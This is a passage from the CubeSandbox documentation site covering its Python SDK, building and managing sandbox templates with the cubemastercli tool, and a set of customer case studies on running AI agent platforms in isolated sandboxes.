README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/node/README.md). --- --- url: https://cubesandbox.com/guide/tutorials/sdk/python.md --- # Python SDK `cubesandbox` is the official Python SDK for CubeSandbox. It provides a Pythonic interface for creating sandboxes, executing code and commands, managing files, and controlling the sandbox lifecycle. ## Requirements and installation * Python 3.9 or later ```bash pip install cubesandbox ``` ## Configuration ```bash export CUBE_API_URL=http://<your-cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # Required for remote access when *.cube.app cannot be resolved export CUBE_PROXY_NODE_IP=<your-cubeproxy-node-ip> ``` You can also configure the SDK in code: ```python from cubesandbox import Config, Sandbox config = Config( api_url="http://127.0.0.1:3000", template_id="<your-template-id>", proxy_node_ip="<your-cubeproxy-node-ip>", ) with Sandbox.create(config=config) as sandbox: result = sandbox.run_code("1 + 1") print(result.text) ``` ## Quick start ```python from cubesandbox import Sandbox with Sandbox.create() as sandbox: code = sandbox.run_code('print("hello from CubeSandbox")') print(code.logs.stdout) command = sandbox.commands.run("uname -a") print(command.stdout) sandbox.files.write("/tmp/hello.txt", "Hello, world!") print(sandbox.files.read("/tmp/hello.txt")) ``` The context manager destroys the sandbox automatically when the block exits. ## Main capabilities * Execute code with persistent variables and streaming output. * Run shell commands and interactive PTY sessions. * Read, write, list, watch, rename, and remove files. * Pause and reconnect to sandboxes while preserving memory state. * Create snapshots, roll back, and clone sandboxes. * Create and mount persistent volumes or host directories. * Configure compute-node placement and L3/L4 or L7 network policies. For the complete API reference and advanced examples, see the [Python SDK README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/python/README.md). --- --- url: https://cubesandbox.com/guide/tutorials/template-build-practice.md --- # Local and Remote Image Template Practice This guide walks through two complete workflows for creating custom CubeSandbox templates: * **Option 1: Build a local image** (the image remains on the current machine and does not need to be pushed) * **Option 2: Use a remote image** (the image is pushed to a registry and pulled by the cluster) See also [Create Templates from OCI Image](./template-from-image.md) and [Custom Template Images](./bring-your-own-image.md). ## Prerequisites * `cubemastercli` is installed and available in `$PATH`. * Docker is installed. * CubeMaster is running (`cubemastercli tpl list` returns successfully). * You know the path to the mkcert CA certificate required by the SDK when connecting to a sandbox: ```bash # Usually located here ls ~/.local/share/mkcert/rootCA.pem ``` ## Option 1: Create a template from a locally built image This option is suitable for local development and debugging on the **machine running CubeMaster**. The image does not need to be pushed to a remote registry. ### Step 1: Write a Dockerfile This guide operates the sandbox through the CubeSandbox SDK and E2B SDK and uses the `envd` endpoint at `49983/health` as the template probe. The example therefore builds on the official `cubesandbox-base` image, which includes `envd`. ```dockerfile FROM ghcr.io/tencentcloud/cubesandbox-base:latest # Install the tools and dependencies you need RUN apt-get update && apt-get install -y --no-install-recommends \ python3 python3-pip curl wget git vim jq \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir numpy pandas requests httpx ``` Save it as `/tmp/Dockerfile.cube-test`. ### Step 2: Build the image ```bash docker build -f /tmp/Dockerfile.cube-test -t my-sandbox:v1 . ``` ### Step 3: Verify that envd is healthy Before creating the template, run the image locally and verify that `envd` responds on `/health`: ```bash cid=$(docker run -d my-sandbox:v1) sleep 2 docker exec "$cid" curl -s -o /dev/null -w "envd /health => %{http_code}\n" http://127.0.0.1:49983/health docker rm -f "$cid" ``` **Expected output: `envd /health => 204`** If the status is not 204, check that the Dockerfile has the correct `ENTRYPOINT` (see [Troubleshooting](#troubleshooting)). ### Step 4: Create the template ```bash cubemastercli tpl create-from-image \ --image my-sandbox:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` The command immediately returns a `job_id` and `template_id`: ```text job_id: 718b7ebd-5a2c-4f33-85d0-1c36f0d1b3ee template_id: tpl-01adfa335c03460cb4a09225 status: PENDING phase: PULLING ``` ### Step 5: Wait for the template to become ready ```bash cubemastercli tpl watch --job-id <job_id> ``` The template is ready when the command reports `status: READY`: ```text status: READY phase: READY progress: 100% distribution: 1/1 ready, 0 failed ``` ### Step 6: Verify the template Use either SDK to verify the template. #### Option A: e2b\_code\_interpreter (requires an SSL certificate) ```bash export CUBE_TEMPLATE_ID=<template_id> export E2B_API_URL=http://127.0.0.1:3000 export E2B_API_KEY=e2b_000000 export SSL_CERT_FILE=~/.local/share/mkcert/rootCA.pem python3 - << 'EOF' import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sb: r = sb.commands.run("python3 --version && echo hello-cube") print(r.stdout) EOF ``` **Expected output:** ```text Python 3.x.x hello-cube ``` #### Option B: CubeSandbox SDK (recommended; no SSL certificate required) If the CubeSandbox SDK is not installed or installation fails, see [Troubleshooting](#troubleshooting). ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=<template_id> export CUBE_PROXY_NODE_IP=127.0.0.1 # Local machine; use the CubeProxy node IP for remote access python3 - << 'EOF' import os, time from cubesandbox import Sandbox, Config from cubesandbox._exceptions import ApiError cfg = Config( api_url=os.environ["CUBE_API_URL"], template_id=os.environ["CUBE_TEMPLATE_ID"], proxy_node_ip=os.environ.get("CUBE_PROXY_NODE_IP", ""), ) def run_with_retry(sb, code, max_retries=10, interval=1.0): for i in range(max_retries): try: return sb.run_code(code) except ApiError as e: if e.status_code == 502 and i < max_retries - 1: time.sleep(interval) else: raise with Sandbox.create(config=cfg) as sb: r = run_with_retry(sb, 'import sys; print(sys.version); print("hello-cube")') for line in r.logs.stdout: print(line, end="") EOF ``` **Expected output:** ```text Python 3.x.x hello-cube ``` > \[!WARNING] > The CubeSandbox SDK `run_code` method depends on a Jupyter kernel on port 49999. Install `jupyter_kernel_gateway ipykernel` in the custom image and expose both ports 49983 and 49999 when creating the template. ## Option 2: Create a template from a remote image This option is suitable for **sharing images across a team** or running a **multi-node cluster**. After the image is pushed to a registry, every cluster node can pull it. ### Step 1: Write a Dockerfile Use the same Dockerfile as in Option 1. ### Step 2: Build the image with a registry prefix ```bash docker build -f /tmp/Dockerfile.cube-test \ -t ccr.ccs.tencentyun.com/<namespace>/<image-name>:v1 . ``` ### Step 3: Verify that envd is healthy Follow Step 3 in Option 1. ### Step 4: Log in and push the image ```bash # Log in if the registry requires authentication docker login ccr.ccs.tencentyun.com # Push the image docker push ccr.ccs.tencentyun.com/<namespace>/<image-name>:v1 ``` ### Step 5: Create the template ```bash cubemastercli tpl create-from-image \ --image ccr.ccs.tencentyun.com/<namespace>/<image-name>:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` For a private registry, provide credentials: ```bash cubemastercli tpl create-from-image \ --image ccr.ccs.tencentyun.com/<namespace>/<image-name>:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health \ --registry-username <username> \ --registry-password <password> ``` ### Steps 6 and 7: Wait and verify Follow Steps 5 and 6 in Option 1. ## Comparison | | Local image | Remote image | |---|---|---| | **Push required** | No | Yes | | **Best for** | Single-node development and debugging | Team sharing and multi-node clusters | | **Image name format** | `my-sandbox:v1` | `registry/ns/image:tag` | | **Private registry authentication** | Not required | May require `--registry-username/password` | | **Speed** | Fast (read directly from the local machine) | Depends on network speed and image size | ## Troubleshooting ### 1. apt-get reports `Temporary failure resolving` **Symptom:** `apt-get` cannot resolve domain names during `docker build`. **Cause:** Docker containers use `8.8.8.8` as DNS by default, which may be inaccessible from an internal network. The `--dns` option is not supported by legacy `docker build` (without buildx), and Docker overwrites `/etc/resolv.conf`. **Solution:** Resolve the internal apt mirror IP and put it directly in `sources.list`: ```bash # 1. Resolve the mirror IP on the host nslookup mirrors.tencent.com 9.218.233.130 | grep Address | tail -1 # => Address: 30.163.240.137 # 2. Replace the apt sources in the Dockerfile RUN sed -i 's|http://archive.ubuntu.com/ubuntu|http://30.163.240.137/ubuntu|g' /etc/apt/sources.list && \ sed -i 's|http://security.ubuntu.com/ubuntu|http://30.163.240.137/ubuntu|g' /etc/apt/sources.list ``` The same approach applies to pip: ```dockerfile RUN pip install --no-cache-dir \ -i http://30.163.240.137/pypi/simple/ \ --trusted-host 30.163.240.137 \ numpy pandas ``` ### 2. envd `/health` does not return 204 **Symptom:** The Step 3 `curl` command returns a status other than 204 or refuses the connection. **Cause:** The image's `ENTRYPOINT` or `CMD` overrides `cube-entrypoint.sh`, so `envd` does not start. **Solution:** Make sure the Dockerfile uses `cube-entrypoint.sh`: ```dockerfile ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["your-app-command"] ``` Alternatively, start envd from a custom entrypoint: ```bash /usr/bin/envd -port 49983 >/var/log/envd.log 2>&1 & exec "$@" ``` ### 3. The SDK reports `SSL: CERTIFICATE_VERIFY_FAILED` **Symptom:** The Python SDK reports a certificate error when calling the sandbox. **Cause:** The SDK accesses a sandbox hostname under `*.cube.app` over HTTPS, but the machine does not trust Cube's built-in mkcert CA. **Solution:** Point `SSL_CERT_FILE` to the CA certificate: ```bash export SSL_CERT_FILE=~/.local/share/mkcert/rootCA.pem ``` Or temporarily disable verification in a test environment only: ```python import ssl, warnings warnings.filterwarnings('ignore') ssl._create_default_https_context = ssl._create_unverified_context ``` ### 4. The template remains in `phase: PULLING` **Symptom:** `tpl watch` remains in the PULLING phase. **Cause:** The CubeMaster node cannot pull the image because of network or registry authentication issues. **Diagnosis:** ```bash # Inspect last_error cubemastercli tpl status --job-id <job_id> --json | jq '.last_error' # Verify the pull directly on the CubeMaster node docker pull <image-address> ``` For a local image that was not pushed, CubeMaster reads it directly from local Docker and does not need network access. Check the image name: ```bash docker images | grep <image-name> ``` ### 5. The template enters `status: FAILED` during BUILDING **Symptom:** The template fails after entering the BUILDING phase. **Diagnosis:** ```bash cubemastercli tpl status --job-id <job_id> --json | jq '.last_error' ``` Common causes include: * `--writable-layer-size` is too small and the build runs out of space. * The node is low on disk space; check with `df -h`. --- --- url: https://cubesandbox.com/guide/tutorials/template-from-image.md --- # Creating Templates from OCI Images This guide explains how to create, monitor, and delete a template from a standard OCI container image. Before you begin, consider reading [Templates Overview](../templates.md) to understand the related concepts, including OCI images, template snapshots, ports, probes, and `envd`. ## Prerequisites * `cubemastercli` installed and able to connect to CubeMaster * The OCI image must be accessible from the CubeMaster nodes (public registry or authenticated private registry) > Plain HTTP registries (without TLS) must use an `http://` prefix, for example `http://harbor.internal:5000/ns/app:tag`. Without the prefix, CubeMaster uses HTTPS by default, except for localhost and RFC1918 addresses. ## Step 1 — Select an OCI Image `create-from-image` accepts an OCI image that has already been built and published. This guide uses the CubeSandbox base image, which includes `envd`: ```text ghcr.io/tencentcloud/cubesandbox-base:latest ``` The image runs `envd` on port `49983` by default, so `GET /health` can be used directly as the template probe. For custom template images and guidance on integrating other existing images with CubeSandbox, see [Custom Template Images](./bring-your-own-image.md). ## Step 2 — Create the Template from the Image Use the `tpl create-from-image` sub-command to kick off the build job: ```bash cubemastercli tpl create-from-image \ --image ghcr.io/tencentcloud/cubesandbox-base:latest \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` > Pass `--backend s3` to store the template (and every sandbox / snapshot derived from it) on the cluster-shared S3 CoW backend. That is required for [cross-node Pause / Resume / FromSnap](../cross-node-snapshot.md). Omit the flag to keep the historical `xfs` path. Template creation can expose multiple ports, use a custom probe path, and pass environment variables: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-int.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 \ --probe-path /health \ --env MY_ENV=production ``` ## Step 3 — Monitor Progress There are two ways to follow the build job. ### Watch (blocking, recommended) `tpl watch` polls the job in a loop and exits only when the job reaches a terminal state (`READY` or `FAILED`): ```bash cubemastercli tpl watch --job-id <job_id> ``` Example output when the job completes: ``` job_id: 2e71b561-153e-4c08-ac37-5270d94f5f15 template_id: tpl-748094d2f2374b0a8a37e6ec attempt_no: 1 artifact_id: rfs-1e8e07c90e9bb8eff94ecde2 status: READY phase: READY progress: 100% distribution: 1/1 ready, 0 failed template_spec_fingerprint: 1e8e07c90e9bb8eff94ecde20396002c411f6b812612a2a05086b85fe245b858 artifact_status: READY artifact_sha256: 5d413bc735062d49d36ef9c0e62cd0c3a915853be5ec0c7fba90e13d9fd33f79 template_status: READY ``` Key output fields: | Field | Description | |-------|-------------| | `status` / `template_status` | Overall job and template state. `READY` means the template is usable. | | `phase` | Current pipeline phase: `PULLING` → `BUILDING` → `DISTRIBUTING` → `READY`. | | `progress` | Percentage completion of the current phase. | | `distribution` | `N/M ready` — how many cluster nodes have received the artifact. | | `artifact_id` | Stable ID of the built rootfs artifact. | | `artifact_sha256` | SHA-256 digest of the rootfs artifact for integrity verification. | | `template_spec_fingerprint` | Deterministic fingerprint of the full template spec (image + flags). Same input always produces the same fingerprint. | ### Status (single snapshot) If you only want a one-shot status check without blocking: ```bash cubemastercli tpl status --job-id <job_id> ``` ## Step 4 — Use the Template Once `template_status: READY`, reference the `template_id` when creating sandboxes via the E2B SDK: ```bash export CUBE_TEMPLATE_ID=tpl-748094d2f2374b0a8a37e6ec python CubeAPI/examples/create.py ``` ## Querying Templates ### List all templates ```bash cubemastercli tpl list ``` Output: ``` TEMPLATE_ID INSTANCE_TYPE STATUS CREATED_AT IMAGE_INFO tpl-748094d2f2374b0a8a37e6ec cubebox READY 2026-04-02T08:10:30Z docker.io/library/nginx:latest@sha256:abcd... tpl-4ff5adc5eea44c14b1c8dbb3 cubebox READY 2026-04-01T17:42:11Z docker.io/library/python:3.11 ``` `CREATED_AT` is returned in UTC RFC3339 format. `IMAGE_INFO` shows image reference and digest when available (`image@sha256:...`), and falls back to the image reference when digest is unavailable. Use wide output when you need `VERSION` and `LAST_ERROR`: ```bash cubemastercli tpl list -o wide ``` Add `--json` to get the full JSON payload for scripting: ```bash cubemastercli tpl list --json | jq '.data[].template_id' ``` ### Inspect a single template ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec ``` The template ID can be passed as a positional argument (docker/kubectl style) or with `--template-id`; both forms are equivalent. Add `--json` for machine-readable output: ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec --json ``` Add `--include-request` when you want to inspect the stored template request body: ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec --json --include-request ``` If you want to preview the effective sandbox payload after template resolution, use: ```bash cubemastercli tpl render --template-id tpl-748094d2f2374b0a8a37e6ec --json ``` For a user-oriented walkthrough of what each output means and how to preview the effective request, see [Template Inspection and Request Preview](../template-inspection-and-preview.md). ## Step 5 — (Optional) Migrate Legacy Local Artifacts Most newly created `from-image` templates already build through the current TC data plane, so you usually do **not** need to run `tpl merge` for them. The typical migration case is older templates whose rootfs artifacts still live on CubeMaster local disk, and the cluster later enables `s3Backed=true` so those historical artifacts need to be moved into S3-backed storage. Keep the wording consistent in operations docs: **`tpl merge` solves historical artifact storage convergence, while `tpl redo` solves node-side redistribution / rebuild when needed.** If the same maintenance window needs both storage migration and node repopulation, run them in this order: ```bash cubemastercli tpl merge tpl-748094d2f2374b0a8a37e6ec cubemastercli tpl redo --template-id tpl-748094d2f2374b0a8a37e6ec ``` > ⚠️ In default co-located / shared-PVC deployments, skipping `tpl merge` does not usually break downloads for existing `READY` templates immediately. The real issue is that those historical artifacts have not yet converged from local disk into S3-backed storage. If the local ext4 is already gone, rerunning `tpl merge` cannot recover it; for rebuildable `from-image` templates, `tpl redo` must fall back to rebuild. ## Step 6 — Deleting a Template ```bash cubemastercli tpl delete tpl-748094d2f2374b0a8a37e6ec # Delete multiple templates in one command cubemastercli tpl delete tpl-first tpl-second tpl-third ``` When multiple template IDs are provided, the CLI attempts every deletion even if one fails, then returns a combined error for the failed templates. On success: ``` template deleted: tpl-748094d2f2374b0a8a37e6ec ``` > ⚠️ Deletion removes both the template metadata and all node-local artifact > replicas. Any sandboxes already running from this template are **not** > affected, but new sandboxes can no longer be created from it. ## Troubleshooting | Symptom | Likely cause | Fix | |---------|-------------|-----| | `phase: PULLING` stuck for a long time | Image pull slow or registry unreachable from cluster nodes | Check network/firewall; for private registries add `--registry-username` / `--registry-password` | | Plain HTTP registry pull fails (`server gave HTTP response to HTTPS client`) | Image ref is missing the `http://` prefix | Use `http://harbor.internal:5000/ns/app:tag` | | `status: FAILED` after BUILDING | Build error (disk full, Dockerfile issue, etc.) | Re-run `tpl status --job-id <id> --json` and inspect `last_error` | | `distribution: 0/N ready` after READY | Artifact distribution still in progress (normal briefly) | Wait and re-run `tpl info`; if stuck check Cubelet logs on target nodes | | Sandbox readiness probe keeps failing after startup | The service is not listening on the expected port/path, or the HTTP server started before the service was fully ready | Ensure the HTTP server starts only after the application is fully ready, and verify that `--probe-path` is correct | --- --- url: https://cubesandbox.com/guide/tutorials/template-from-sandbox.md --- # Commit a Running Sandbox as a Template This guide explains how to turn the current filesystem and memory state of a running sandbox into a new template. This is useful when writing a Dockerfile is impractical or when you already have a sandbox with the desired environment and want to reuse it later. Before you begin, consider reading [Templates Overview](../templates.md) to understand the related concepts, including OCI images, template snapshots, ports, probes, and `envd`. ## Work in the Sandbox After creating a sandbox, use `cubecli` to enter it, much like using a Docker command. You can then install dependencies, run commands, and make other changes inside the sandbox: ```bash cubecli exec -it <sandbox-id> bash ``` ## Commit the Sandbox ```bash cubemastercli tpl commit --sandbox-id <sandbox-id> ``` After a successful commit, CubeMaster generates a new `tpl-...` template ID and creates its initial replica on the source sandbox's node. ## Specify the Configuration Used to Create Sandboxes from the Template (Advanced) When you run `tpl commit`, CubeMaster saves not only the sandbox's current filesystem and memory state, but also a `CreateCubeSandboxReq` for the template. When the template is later used to create a sandbox, this request restores settings such as the containers, startup command, ports, and network configuration. By default, no additional file is needed. CubeMaster automatically restores the source sandbox's original create request: ```bash cubemastercli tpl commit --sandbox-id <sandbox-id> ``` Use `--file <path>` only when the new template should use a different create configuration. The file must contain a complete `CreateCubeSandboxReq` in JSON format: ```bash cubemastercli tpl commit \ --sandbox-id <sandbox-id> \ --file template-request.json ``` Here, `--file` does **not** copy a file into the template, nor does it modify only the fields present in the JSON document. The request in the file **completely replaces** the original create request restored by CubeMaster; the two requests are not merged. For example, if the file omits the original containers, startup command, environment variables, or exposed ports, those settings are not preserved automatically and the resulting template may not start as expected. The following `template-request.json` is a simplified example that only illustrates the field structure: ```json { "instance_type": "cubebox", "network_type": "tap", "cube_network_config": { "allowInternetAccess": true, "allowOut": ["10.0.0.0/8"], "denyOut": [] } } ``` > This simplified JSON may not be sufficient to replace your source sandbox's create request. Before using `--file`, make sure the file contains every setting required to run the new template. If you only want to preserve the current sandbox's files and runtime state, do not pass `--file`. When using `--file`, the following command-line options can also modify `cube_network_config` in the file request: | Option | Effect | | --- | --- | | `--allow-internet-access=false` | Explicitly set the request's internet access value. | | `--allow-out-cidr <cidr>` | Append an allowed egress CIDR; repeat for multiple CIDRs. | | `--deny-out-cidr <cidr>` | Append a denied egress CIDR; repeat for multiple CIDRs. | These network options modify only the request supplied through `--file`, so they must be used together with `--file`. For example: ```bash cubemastercli tpl commit \ --sandbox-id <sandbox-id> \ --file template-request.json \ --allow-internet-access=false ``` --- --- url: https://cubesandbox.com/guide/usecases.md --- # Use Cases ::: warning Bilingual PR Required Every contribution in this section must include both an English file under `docs/guide/usecases/` and a Chinese file under `docs/zh/guide/usecases/`. PRs that update only one language will not be merged. ::: This section collects real-world Cube Sandbox adoption stories, production patterns, and solution write-ups. Good submissions explain the business context, why Cube Sandbox was chosen, and the outcome it enabled. ## What belongs here * Real business scenarios powered by Cube Sandbox * Architecture notes for production deployments * Migration stories from other sandbox or code execution platforms * Internal tools, agent workflows, and engineering enablement cases ## How to contribute 1. Copy `_template.md` in the current directory and rename it to an English kebab-case slug such as `browser-agent-in-production.md`. 2. Create both files at the same time: * `docs/guide/usecases/<slug>.md` * `docs/zh/guide/usecases/<slug>.md` 3. Keep the filename identical in both languages to keep the URLs aligned. 4. Fill in the required frontmatter fields and describe the scenario with concrete details. 5. Add your article to the table below in both the English and Chinese index pages. 6. Open a PR and mention any related example repo, architecture diagram, or demo if available. ## Naming and frontmatter * Filenames must use English kebab-case. * Chinese filenames are not allowed. * Use the same slug in both language directories. * Keep frontmatter keys aligned across both files. ```md --- title: Browser Agent for Internal QA Workflows author: your-github-id date: 2026-05-14 tags: - browser - qa - production lang: en-US --- ``` ## Published articles | Title | Author | Date | Tags | | --- |------------| --- | --- | | [trpc-agent-go: A Secure Code Execution Backend Powered by Cube Sandbox](./trpc-agent-go.md) | joeyczheng | 2026-06-03 | agent, code-execution, e2b, golang | | [Lexmount AI: Putting the Browser Runtime Inside the Agent Sandbox](./lexmount-browser-agent.md) | Xiong Xiuzhang | 2026-08-13 | agent, browser, browser-runtime, production | | [Hermes Agent: Running a Resident Agent Platform in CubeSandbox](./hermes-agent.md) | Chen Jinbo | 2026-08-20 | agent, persistence, skills, host-mount | | [Lenovo Cloud Agent: Sandbox Migration from Daytona to CubeSandbox](./lenovo-cloud-agent.md) | Li Jian | 2026-08-20 | agent, migration, daytona, e2b-compat | | [Horizon Insights: Sandboxing Financial Research Agents](./horizon-insights.md) | Wang Zhengkai | 2026-08-26 | agent, financial, host-mount, cubeegress | | [unisound: Stress-Testing Density Limits for RL Rollout](./unisound-rl-rollout.md) | Unisound Atlas Intelligent Computing Team | 2026-09-01 | agent, rl, rollout, density | | [Guangdong Rising: Building a Multi-Tenant Sandbox Platform](./guangdong-rising.md) | Feng Jiaqi | 2026-09-03 | agent, multi-tenant, sandbox-platform, lifecycle | | [WeKnora: A Persistent Agent Runtime on CubeSandbox](./weknora.md) | Chen Yang, Zhao Hailong | 2026-09-17 | agent, snapshot, session-persistence, e2b-compat | | [Huajiao: Sandbox as an Option, Not a Default — Agent Platform Practice](./huajiao.md) | Wang Chenglong, Feng Bingqing | 2026-09-17 | agent, host-mount, go-sdk, execution-environment | | [openFuyao: Running CubeSandbox on Kubernetes](./openfuyao.md) | Wang Wentao, Li Aihua | 2026-09-17 | kubernetes, deployment, ebpf, production | --- --- url: https://cubesandbox.com/guide/usecases/guangdong-rising.md --- # Guangdong Rising: Building a Multi-Tenant Sandbox Platform ## Business Context Guangdong Rising runs AI-Agent-generated code on two product lines (SIN Builder, an AI application generation platform, and Dasheng AI, an enterprise-grade AI assistant). The team consolidated the sandbox capabilities of both product lines into a standalone service, common-sandbox-runner, as the sandbox execution layer of the Guangdong Rising SIN PaaS (AI platform), building multi-tenant sandbox governance on top of Cube Sandbox. ## Key Challenges * **Two incompatible implementations**: each product line had its own sandbox capability with inconsistent lifecycles, leases, and reclamation policies; one leakage incident took both product lines down at the same time. * **Stateful reuse for long sessions**: Agent sessions are long-lived and stateful — the same session must reuse the same sandbox, and a late cleanup request could kill a sandbox being used by a new-generation lease. * **Quota vs. reclamation dilemma**: under multi-replica deployment, neither reclaiming a running sandbox nor leaking sandboxes left by crashed replicas is acceptable. * **Cold-start latency**: sandbox cold start translates directly into user wait time; a self-built warm pool carries high maintenance and consistency costs. ## Solution with Cube Sandbox * **Unified sandbox execution layer**: the standalone FastAPI service common-sandbox-runner is the only side that writes to Cube; product lines call it only through `POST /v1/sandbox-runs` (SSE streaming events). All cross-request state — leases, admission counts, GC candidates — lives in Redis. * **Unified ownership accounting**: an `owner_id` derived from namespace + env + project ID + session run ID is written into sandbox metadata, so every sandbox traces back to a concrete product line, environment, and session; a dual-template design lets callers pick images by task resource footprint. * **Leases + fencing tokens**: `POST /v1/leases` reuses sandboxes by `owner_id`; `POST /v1/lease-releases` kills a sandbox only when both `owner_id` and `lease_id` (epoch) match — late cleanup requests only seal off expired generations and never delete the current lease. * **Admission control**: Redis Lua scripts acquire admission slots atomically (bucket-level quotas + global cap), waiting up to 30 seconds before returning a retryable CAPACITY\_EXCEEDED. * **Tri-color mark-and-sweep reclamation**: borrowing from JVM/Go — black (roots with fresh heartbeats, never reclaimed), gray (within grace period, deletion forbidden), white (no root reference for two consecutive confirmation cycles with unchanged generation, actually swept); combined with Cube's official `on_timeout=pause` + `auto_resume` lifecycle, idle leases are soft-reserved rather than killed outright. ## Results and Benefits * **Startup latency**: hot-start from baked templates measured at 180 ms median / 210 ms P95, cold start consistently within one second; the self-built warm pool was retired entirely. * **Architectural simplification**: about 1,350 lines of code removed net (+193 / -1,542); two product lines' sandbox logic converged into 1 shared service, guarded by 198 test cases. * **Capacity ceiling**: the admission logic limit was relaxed from 200 to 500 sandboxes, breaking the quota deadlock caused by zombie leases — with no additional machine resources. ## References * Full case study: [Who Has the Right to Delete a Sandbox: Building a Multi-Tenant Sandbox Platform on CubeSandbox](/blog/posts/2026-09-03-guangdong-rising) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/hermes-agent.md --- # Hermes Agent: Running a Resident Agent Platform in CubeSandbox ## Business Context The Shanghai Yangpu New Energy Technology AI team migrated their internal Agent runtime platform, Hermes Studio, onto CubeSandbox. A resident Agent application needs the sandbox to remember not just task artifacts, but also the Agent's own configuration, conversation history, and a set of frequently invoked Skills. But sandboxes are inherently ephemeral — restarts, pauses, and migrations can zero out all of this state. ## Key Challenges * **Persistence**: Hermes home (`/root/.hermes`) and workspace (`/workspace`) need to survive sandbox rebuilds. * **Skills layering**: Public Skills need centralized maintenance; private Skills must not be overwritten. * **Network allowlisting**: LAN model services need separate outbound CIDR configuration. * **Pause/resume**: TAP device EBUSY causes resume failure after pause. ## Solution with CubeSandbox Using persistent directories on Cubelet nodes as the single storage foundation, mounting Hermes home, workspace, and public Skills into sandboxes via `metadata["host-mount"]`. Public Skills use a "read-only shared directory + private directory symlink" overlay design. | Content | Cubelet Directory | Sandbox Path | Permission | |---|---|---|---| | Hermes home | `/data/shared/hermes-homes/<home-id>` | `/root/.hermes` | read-write | | Workspace | `/data/shared/hermes-workspaces/<workspace-id>` | `/workspace` | read-write | | Public Skills | `/data/shared/hermes-common-skills` | `/opt/hermes-common-skills` | read-only | ## Results and Benefits * Dozens of Hermes sandboxes on a single node, running for about a month. * Clear persistence boundaries — state recoverable after sandbox rebuild. * Centralized Skills maintenance with private version priority. * Submitted Issue [#953](https://github.com/TencentCloud/CubeSandbox/issues/953) to track TAP EBUSY issue. ## References * Full case study: [Running Hermes Agent in Cube Sandbox](/blog/posts/2026-08-20-hermes-agent) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/horizon-insights.md --- # Hongze Info: Sandboxing Financial Research Agents ## Business Context Hongze Info's 4as (All (Domain) Agents as a Service) is a financial research Agent product that organizes domain knowledge, research methodologies, data tools, and persistent state into deployable research Agents. A single task lasts tens of seconds to several minutes, requiring a complete Agent loop in an isolated environment. ## Key Challenges * **Complete Agent loop isolation**: Research Agent runs involve model interactions, code execution, file operations, and external tool calls — requiring complete process and file boundaries. * **Versioned domain resource distribution**: Large domain resources (DAS) need to be distributed by version and authorization to each sandbox, without repeated transfers per run. * **Credential isolation**: Long-term API keys for models and tools cannot enter the guest environment — they must be injected at the egress side. * **Localized deployment**: Financial institutions require running in designated cloud environments or customer-side infrastructure — managed sandboxes can't cover this. ## Solution with CubeSandbox Three core use cases: | Scenario | CubeSandbox Capability | Description | |---|---|---| | Complete Pi loop | Runs inside Sandbox guest | Model-tool main loop, bash/file operations, MCP calls all in isolated environment | | DAS resource distribution | Host Mount (read-only) | Distributes immutable file trees by revision, multiple sandboxes share same host cache | | Credential management | CubeEgress (egress injection) | Long-term keys stay on egress side, auth info auto-injected when requests leave sandbox | ## Results and Benefits * Same Agent runtime supports both customer-side deployment and Cloud service. * Domain resources visible on demand — unmounted resources invisible to guest. * Credentials centrally rotated and revoked by platform — Sandbox template doesn't need rebuilding when keys change. * Deployed in multiple commercial projects. ## References * Full case study: [Sandboxing Financial Research Agents: Hongze Info's Practice with CubeSandbox](/blog/posts/2026-08-28-horizon-insights) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/huajiao.md --- # Huajiao: Sandbox as an Option, Not a Default — Agent Platform Practice ## Business Context Huajiao Live's (a Huafang Group company) enterprise Agent platform completed its 0-to-1 validation on the Huajiao Live business side, then deployed an independent instance for the Huafang Group middle platform on the same Agent Runtime. The two deployments together run about 30 Agent applications (DMG business assistant, ChatBI, content operations assistant, legal workbench, GR workbench, etc.), consuming about 83 million tokens daily. CubeSandbox has been in production for over 3 months. ## Key Challenges * **Multi-user physical isolation**: the early single-server directory isolation meant user A could theoretically operate on user B's files through the Agent. * **User data persistence across sandboxes**: sandboxes are reclaimable, but users' working state must survive; ordinary data disks can't attach to multiple cloud servers simultaneously. * **Strong isolation + fast startup**: Docker starts slowly with incomplete isolation; traditional VMs are costly and inflexible. * **Self-owned terminal semantics**: the platform needs a self-defined terminal protocol that can evolve independently, rather than binding the runtime session model to an external sandbox API's semantics. ## Solution with Cube Sandbox * **Execution-environment abstraction**: the platform's key abstraction is the "execution environment," and CubeSandbox is one sandbox option integrated into it. The isolation decision is not made uniformly at the platform layer — each Agent decides by "do resources need physical isolation among users." Between organizations (Huajiao Agent / Huafang Agent), two fully independent instances run with no shared control plane. * **NFS + host-mount persistence**: all persistent user data goes to an NFS directory; on server failure, a new machine mounts the same NFS and continues serving. The execution-environment daemon maps directories into sandboxes via host-mount, one session per sandbox. * **Deep community collaboration**: contributed the official Go SDK ([PR #254](https://github.com/TencentCloud/CubeSandbox/pull/254), 15 files, 3,288 lines), fixed a connection-pool mis-closure ([PR #322](https://github.com/TencentCloud/CubeSandbox/pull/322)), and root-caused the host-mount snapshot-restore failure where the virtio-fs root inode lost migration state, raising 